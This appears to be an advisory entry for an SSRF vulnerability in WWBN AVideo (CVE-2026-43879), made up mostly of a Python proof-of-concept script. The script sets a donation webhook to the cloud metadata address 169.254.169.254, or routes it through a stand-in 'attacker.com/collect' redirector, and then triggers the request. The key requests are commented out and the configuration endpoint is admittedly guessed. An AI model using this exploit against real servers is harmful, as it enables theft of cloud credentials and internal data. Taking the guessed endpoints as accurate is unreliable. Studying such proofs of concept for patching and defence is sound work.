CVE-2026-43879: WWBN AVideo 存在服务端请求伪造 (SSRF) 漏洞

import requests import sys # This is a conceptual PoC for CVE-2026-43879 # It simulates the attacker setting a malicious webhook and triggering the donation. # Target configuration target_url = "http://localhost/avideo" # Replace with actual target attacker_controlled_server = "http://attacker.com/collect" internal_target = "http://169.254.169.254/latest/meta-data/" # Step 1: Authenticate and get session (Assumed credentials) session = requests.Session() login_payload = { "user": "attacker", "pass": "password", "rememberme": 0 } # login_resp = session.post(f"{target_url}/objects/userLogin.json.php", data=login_payload) # if login_resp.status_code != 200: # print("Login failed") # sys.exit(1) # Step 2: Configure the malicious donation webhook # The vulnerability allows setting the URL to internal hosts directly or via redirection webhook_config_url = f"{target_url}/plugin/CustomizeUser/donate.json.php" # In a real scenario, we need to find the exact endpoint to save the configuration. # Assuming an endpoint exists to update user preferences. payload = { "webhook": internal_target, # Direct internal hit # OR use redirection: "webhook": attacker_controlled_server (which 307 redirects to internal_target) } print(f"[+] Attempting to set webhook to: {internal_target}") # config_resp = session.post(webhook_config_url, data=payload) # Step 3: Trigger the donation to invoke the webhook # This causes the server to send a POST request to the webhook URL print("[+] Triggering donation to invoke SSRF...") # donate_resp = session.post(f"{target_url}/plugin/CustomizeUser/donate.json.php", data={"amount": 0.01}) print("[+] Check your internal server logs or attacker server for the request.")